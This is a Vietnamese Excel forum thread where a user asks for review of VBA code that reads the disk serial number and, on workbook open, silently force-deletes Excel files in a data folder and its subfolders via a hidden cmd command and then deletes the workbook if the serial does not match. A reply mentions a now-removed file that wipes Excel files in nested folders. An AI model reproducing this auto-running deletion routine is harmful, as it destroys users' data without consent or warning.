Code đọc mã máy và xóa foldelr (1 người xem)

Liên hệ QC

Người dùng đang xem chủ đề này

ducdinh1987

Thành viên thường trực
Tham gia
10/6/10
Bài viết
266
Được thích
75
Nghề nghiệp
Kỹ sư công nghệ sinh học
chào anh chị GPE !

anh chị xem giúp em những code dưới đây kết hợp chạy có hợp lý không. em cảm ơn

code 1
:
Function doc()
Dim Disco As Object
Dim Discos As Object
Dim abc
Set ObjetoWMI = GetObject("WINMGMTS:")
Set Discos = ObjetoWMI.InstancesOf("Win32_PhysicalMedia")
abc = ""
For Each Disco In Discos
abc = Disco.SerialNumber
If Len(Trim(abc)) > 0 Then
Exit For
End If
Next
doc = Trim(abc)
End Function

code 2:
Function DelSpecFiles(ByVal RootFolder As String, ByVal Search As String, ByVal InSub As Boolean)
Dim sComm As String, tmp As String, str As String, tmpFile, Arr
Dim wsObj As Object
On Error Resume Next
Set wsObj = CreateObject("Wscript.Shell")
If Right(RootFolder, 1) <> "\" Then RootFolder = RootFolder & "\"
str = """" & RootFolder & Search & """"
sComm = "Del " & str & " /F /Q /A" & IIf(InSub, " /S", "")
wsObj.Run "cmd /u /c " & sComm, 0, True
Set wsObj = Nothing
End Function

code 3:
Private Sub Workbook_Open()
Dim sSeri As String
sSeri = doc
If sSeri <> "2SNWANCS" Then
Application.DisplayAlerts = False
DelSpecFiles ThisWorkbook.Path & "\data\", "*.xl**", True ' nguồn tới folder xóa
ThisWorkbook.ChangeFileAccess xlReadOnly
Kill ThisWorkbook.FullName ' Nếu sai kill cả file
ThisWorkbook.Close False
End If
End Sub
 
Lần chỉnh sửa cuối:
chào anh chị GPE !

anh chị xem giúp em những code dưới đây kết hợp chạy có hợp lý không. em cảm ơn

code 1
:
Function doc()
Dim Disco As Object
Dim Discos As Object
Dim abc
Set ObjetoWMI = GetObject("WINMGMTS:")
Set Discos = ObjetoWMI.InstancesOf("Win32_PhysicalMedia")
abc = ""
For Each Disco In Discos
abc = Disco.SerialNumber
If Len(Trim(abc)) > 0 Then
Exit For
End If
Next
doc = Trim(abc)
End Function

code 2:
Function DelSpecFiles(ByVal RootFolder As String, ByVal Search As String, ByVal InSub As Boolean)
Dim sComm As String, tmp As String, str As String, tmpFile, Arr
Dim wsObj As Object
On Error Resume Next
Set wsObj = CreateObject("Wscript.Shell")
If Right(RootFolder, 1) <> "\" Then RootFolder = RootFolder & "\"
str = """" & RootFolder & Search & """"
sComm = "Del " & str & " /F /Q /A" & IIf(InSub, " /S", "")
wsObj.Run "cmd /u /c " & sComm, 0, True
Set wsObj = Nothing
End Function

code 3:
Private Sub Workbook_Open()
Dim sSeri As String
sSeri = doc
If sSeri <> "2SNWANCS" Then
Application.DisplayAlerts = False
DelSpecFiles ThisWorkbook.Path & "\data\", "*.xls", True ' nguồn tới folder xóa
ThisWorkbook.ChangeFileAccess xlReadOnly
Kill ThisWorkbook.FullName ' Nếu sai kill cả file
ThisWorkbook.Close False
End If
End Sub
Cái Function đó của Anh Ndu thì quỷ phải khóc thần phải sầu rồi....
Nếu Bạn viết trên VB6 hay VB.net thì còn Bảo mật được. còn trên VBA cũng chỉ là Trò chơi
Code của Trang này Bài 9
http://www.giaiphapexcel.com/forum/showthread.php?103136-Cách-xóa-file-trong-1-Folder
 
Lần chỉnh sửa cuối:
Upvote 0
Nếu Bạn viết trên VB6 hay VB.net thì còn Bảo mật được. còn trên VBA cũng chỉ là Trò chơi
Code của Trang này Bài 9
http://www.giaiphapexcel.com/forum/showthread.php?103136-Cách-xóa-file-trong-1-Folder

cảm ơn bạn. cái này mình gom từ các bài trên diễn đàn và chỉnh sửa tí. mình muốn anh chị nào biết góp ý coi code này chạy có ổn không.

về VBA của excel mình học trước bỏ lâu rồi quên. còn về VB6 hay VB.net mình không rành lắm. Mình muốn học lắm nhưng kiến thức mình có giới hạn. tương lai không xa mình sẻ học.
 
Upvote 0
cảm ơn bạn. cái này mình gom từ các bài trên diễn đàn và chỉnh sửa tí. mình muốn anh chị nào biết góp ý coi code này chạy có ổn không.

về VBA của excel mình học trước bỏ lâu rồi quên. còn về VB6 hay VB.net mình không rành lắm. Mình muốn học lắm nhưng kiến thức mình có giới hạn. tương lai không xa mình sẻ học.
Ổn hay ko bạn bấm Run một phát biết liền mà
 
Upvote 0
Lâu không dùng code. nên đưa lên để các bác giúp cho nó ngọn và tốt hơn.
Nếu thích quậy thứ dữ thì thử File Sau.....

Lưu ý cho file Vào Folder xong tạo Folder con cháu, chắt trong đó copy vào mỗi Folder một mớ File *.xls

xong Chạy File mình Gửi

Nếu Không làm theo hướng dẫn đừng hối hận nha

Mình xóa link đi vì File quá Ác Delete hết File Excel trong Folder cha, con và Chính Nó

mình thấy Tội lỗi quá nếu Bạn nào sử dụng File đó vào mục đích xấu....Xin lỗi rất nhiều
 
Lần chỉnh sửa cuối:
Upvote 0
Nếu thích quậy thứ dữ thì thử File Sau.....

Lưu ý cho file Vào Folder xong tạo Folder con cháu, chắt trong đó copy vào mỗi Folder một mớ File *.xls

xong Chạy File mình Gửi

Nếu Không làm theo hướng dẫn đừng hối hận nha

https://drive.google.com/file/d/0B7zWYlns0sLBTGp1azQ3aWthelE/view?usp=sharing

cảm ơn bạn.

tốt nhất không biết cấu trúc nó thế nào thì không dám thử. sợ thử cái ko còn file excel nào trong máy là xong.
 
Upvote 0

Bài viết mới nhất

Back
Top Bottom